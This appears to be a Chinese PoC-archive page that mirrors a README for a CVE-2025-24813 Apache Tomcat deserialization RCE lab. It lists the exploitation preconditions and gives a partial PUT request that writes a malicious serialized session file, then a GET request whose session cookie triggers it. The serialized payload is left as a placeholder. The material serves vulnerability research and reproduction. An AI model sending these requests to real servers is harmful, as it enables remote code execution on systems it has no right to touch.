目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2025-24813 PoC — Apache Tomcat 环境问题漏洞

来源
关联漏洞
标题:Apache Tomcat 环境问题漏洞 (CVE-2025-24813)
Description:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 11.0.0-M1至11.0.2版本、10.1.0-M1至10.1.34版本和9.0.0.M1至9.0.98版本存在环境问题漏洞。攻击者利用该漏洞可以远程执行代码或泄露敏感信息。
Description
tomcat CVE-2025-24813 反序列化RCE环境
介绍
## 说明
本仓库是针对 CVE-2025-24813 Tomcat 最新 RCE 复现的环境。

**仅供学习研究使用!**

## 利用条件
- 应用程序启用了DefaultServlet写入功能,该功能默认关闭
- 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
- 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

**本环境已开启上述复现所需条件**

## 启动 tomcat

Linux:

```bash
chmod +x apache-tomcat-9.0.98/bin/*
apache-tomcat-9.0.98/bin/catalina.sh run
```

Windows:
```bash
apache-tomcat-9.0.98/bin/catalina.bat run
```

访问:http://127.0.0.1:9001/

<img width="1452" alt="image" src="https://github.com/user-attachments/assets/2fc5508a-906b-4161-b965-ca937de94893" />

## POC

生成一个恶意的序列化文件,使用以下数据包上传,需要注意 Range 的分块值需要与 Length 保持一致,且大于当前文件的长度。

```poc
PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{反序列化文件内容)}}
```



使用如下 poc 触发:
```poc
GET / HTTP/1.1  
Host: 192.168.131.32:8080  
Cookie: JSESSIONID=.xxxxx
```
<img width="1392" alt="image" src="https://github.com/user-attachments/assets/1d9aa484-d151-45a6-bdff-7952af277c89" />
<img width="1379" alt="image" src="https://github.com/user-attachments/assets/9bacb253-0b76-4f16-9a5a-c123eb6fca73" />

参考:https://forum.butian.net/article/674
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →